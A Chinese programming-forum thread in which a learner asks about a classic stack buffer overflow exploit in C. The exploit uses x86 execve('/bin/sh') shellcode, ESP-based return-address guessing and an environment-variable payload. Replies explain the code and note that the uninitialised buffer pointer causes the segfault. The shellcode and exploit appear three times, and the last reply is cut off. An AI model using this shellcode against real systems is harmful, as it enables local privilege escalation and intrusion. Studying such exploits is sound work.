求解释,缓冲区溢出漏洞利用,对等初级

求解释,缓冲区溢出漏洞利用,相当初级
详细下面的代码大家都很熟悉了,看起来稍长,但是仔细一看很简单的。
我把我理解的已经都注释上了,其中有几句不明白的呀,希望大家帮忙解释一下这几句



#include <stdlib.h>
#define buffer_size 0
#define offset_size 512
//定义SHELLCODE 
char sc[]=
     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
//获取ESP地址 
unsigned long find_start(void){
    __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
   char *buff,*ptr; //定义两个char指针 
   long *addr_ptr,addr;  //定义两个long指针 
   int offset=offset_size,bsize=buffer_size;  //定义两个整形变量 值为0,512 
   int i;//定义整形变量 

   if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize
   if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset
   
   addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址) 
   printf("Attempting address:0x%x\n",addr);//输出得到的地址 

   ptr=buff;//让ptr指针指向buff指针指向的地址 

   addr_ptr=(long *)ptr;//不明白 让addr_ptr指向ptr所指位置?也指向buff? 
   for(i=0;i<bsize;i+=4)
      *(addr_ptr++)=addr; //不明白 循环填充栈,从*buff所指位置,值为猜测的shellcode地址?导致溢出一直要覆盖到ret 使ret等于shellcode地址 
   ptr+=4;//此时ptr指向*buff的第5个字符处 
   for(i=0;i<strlen(sc);i++)
          *(ptr++)=sc[i];//不明白 关键来了,作者说他在RED hat9上运行无问题,但是我在ubuntu上运行报错说段错误,按我的理解这地方也就是覆盖buff从第五个字符串开始40个字节为shellcode 为什么错误为什么??
   buff[bsize-1]='\0';//为buff做个结束 
   memcpy(buff,"BUF=",4);//buff前4个字符赋值 
   putenv(buff);//放入环境变量 
   system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么? 
}



求解释其中写着不明白的地方,或者是我理解错的地方,辛苦了

------解决方案--------------------
都嵌入汇编代码了还初级。。。
------解决方案--------------------
lz还是学点正经的东西吧,别走火入魔
------解决方案--------------------
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
system函数表示执行一个系统命令
------解决方案--------------------

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define buffer_size 0
#define offset_size 512
//定义SHELLCODE 
char sc[]=
     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
//获取ESP地址 
unsigned long find_start(void){
    __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
   char *buff,*ptr; //定义两个char指针 
   long *addr_ptr,addr;  //定义两个long指针 
   int offset=offset_size,bsize=buffer_size;  //定义两个整形变量 值为0,512 
   int i;//定义整形变量 

   if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize
   if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset
   
   addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址) 
   printf("Attempting address:0x%lx\n",addr);//输出得到的地址 

   ptr=buff;//注意buff从未被初始化

   addr_ptr=(long *)ptr;//相当于指针类型转换,同一个地址,ptr是按照char去寻址,而addr_ptr是按照long去寻址的 
   for(i=0;i<bsize;i+=4)
      *(addr_ptr++)=addr; //导致溢出时使ret等于sc的地址 
   ptr+=4;//此时ptr指向*buff的第5个字符处 
   for(i=0;i<strlen(sc);i++)
          *(ptr++)=sc[i];//buff没有初始化,所以相应的对ptr的操作极有可能段错误
   buff[bsize-1]='\0';//为buff做个结束 
   memcpy(buff,"BUF=",4);//buff前4个字符赋值 
   putenv(buff);//放入环境变量 
   system("/bin/bash");//调出bash shell,准备执行sc
}


------解决方案--------------------
这段程序根本不能溢出啊,我给该了一下,不过也发现这个shellcode是干嘛的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFF_SIZE 64

char sc[]=
     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";